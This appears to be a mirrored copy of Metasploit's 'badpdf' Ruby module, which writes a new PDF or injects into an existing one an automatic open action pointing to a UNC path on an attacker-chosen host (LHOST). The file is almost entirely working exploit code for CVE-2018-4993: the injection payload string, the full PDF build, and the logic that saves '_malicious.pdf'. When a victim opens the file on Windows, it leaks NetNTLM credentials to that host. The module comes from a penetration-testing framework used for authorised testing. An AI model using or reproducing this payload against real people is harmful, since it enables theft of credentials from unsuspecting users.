CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/fileformat/badpdf.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::FILEFORMAT
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'BADPDF Malicious PDF Creator',
12
'Description' => '
13
This module can either creates a blank PDF file which contains a UNC link which can be used
14
to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
15
code into an existing PDF document if possible.
16
',
17
'License' => MSF_LICENSE,
18
'Author' =>
19
[
20
'Assaf Baharav', # Code provided as POC by CheckPoint
21
'Yaron Fruchtmann', # Code provided as POC by CheckPoint
22
'Ido Solomon', # Code provided as POC by CheckPoint
23
'Richard Davy - secureyourit.co.uk', # Metasploit
24
],
25
'Platform' => ['win'],
26
'References' =>
27
[
28
['CVE', '2018-4993'],
29
['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
30
])
31
)
32
register_options(
33
[
34
OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]),
35
OptString.new('FILENAME', [false, 'Filename']),
36
OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into'])
37
]
38
)
39
end
40
41
def run
42
if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?
43
print_error 'Please configure either FILENAME or PDFINJECT'
44
elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
45
injectpdf
46
elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')
47
createpdf
48
else
49
print_error "FILENAME or PDFINJECT must end with '.pdf' file extension"
50
end
51
end
52
53
def injectpdf
54
# Payload which gets injected
55
inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"
56
57
# if given path doesn't exist display error and return
58
unless File.exist?(datastore['PDFINJECT'])
59
# If file not found display error message
60
print_error "File doesn't exist #{datastore['PDFINJECT']}"
61
return
62
end
63
64
# Read in contents of file
65
content = File.binread(datastore['PDFINJECT'])
66
67
# Check for place holder - below ..should.. cover most scenarios.
68
newdata = ''
69
[2, 4, 6, 8].each do |pholder|
70
unless content.index("/Contents #{pholder} 0 R").nil?
71
# If place holder exists create new file content
72
newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1]
73
break
74
end
75
end
76
77
# Display error message if we couldn't poison the file
78
if newdata.empty?
79
print_error 'Could not find placeholder to poison file this time....'
80
return
81
end
82
83
# Create new filename by replacing .pdf with _malicious.pdf
84
newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"
85
# Write content to file
86
File.open(newfilename, 'wb') { |file| file.write(newdata) }
87
# Check file exists and display path or error message
88
if File.exist?(newfilename)
89
print_good("Malicious file written to: #{newfilename}")
90
else
91
print_error 'Something went wrong creating malicious PDF file'
92
end
93
end
94
95
def createpdf
96
# Code below taken POC provided by CheckPoint Research
97
pdf = ''
98
pdf << "%PDF-1.7\n"
99
pdf << "1 0 obj\n"
100
pdf << "<</Type/Catalog/Pages 2 0 R>>\n"
101
pdf << "endobj\n"
102
pdf << "2 0 obj\n"
103
pdf << "<</Type/Pages/Kids[3 0 R]/Count 1>>\n"
104
pdf << "endobj\n"
105
pdf << "3 0 obj\n"
106
pdf << "<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>\n"
107
pdf << "endobj\n"
108
pdf << "xref\n"
109
pdf << "0 4\n"
110
pdf << "0000000000 65535 f\n"
111
pdf << "0000000015 00000 n\n"
112
pdf << "0000000060 00000 n\n"
113
pdf << "0000000111 00000 n\n"
114
pdf << "trailer\n"
115
pdf << "<</Size 4/Root 1 0 R>>\n"
116
pdf << "startxref\n"
117
pdf << "190\n"
118
pdf << "3 0 obj\n"
119
pdf << "<< /Type /Page\n"
120
pdf << " /Contents 4 0 R\n"
121
pdf << " /AA <<\n"
122
pdf << " /O <<\n"
123
pdf << " /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n"
124
pdf << " /D [ 0 /Fit]\n"
125
pdf << " /S /GoToE\n"
126
pdf << " >>\n"
127
pdf << " >>\n"
128
pdf << " /Parent 2 0 R\n"
129
pdf << " /Resources <<\n"
130
pdf << " /Font <<\n"
131
pdf << " /F1 <<\n"
132
pdf << " /Type /Font\n"
133
pdf << " /Subtype /Type1\n"
134
pdf << " /BaseFont /Helvetica\n"
135
pdf << " >>\n"
136
pdf << " >>\n"
137
pdf << " >>\n"
138
pdf << ">>\n"
139
pdf << "endobj\n"
140
pdf << "4 0 obj<< /Length 100>>\n"
141
pdf << "stream\n"
142
pdf << "BT\n"
143
pdf << "/TI_0 1 Tf\n"
144
pdf << "14 0 0 14 10.000 753.976 Tm\n"
145
pdf << "0.0 0.0 0.0 rg\n"
146
pdf << "(PDF Document) Tj\n"
147
pdf << "ET\n"
148
pdf << "endstream\n"
149
pdf << "endobj\n"
150
pdf << "trailer\n"
151
pdf << "<<\n"
152
pdf << " /Root 1 0 R\n"
153
pdf << ">>\n"
154
pdf << "%%EOF\n"
155
# Write data to filename
156
file_create(pdf)
157
end
158
end
159
160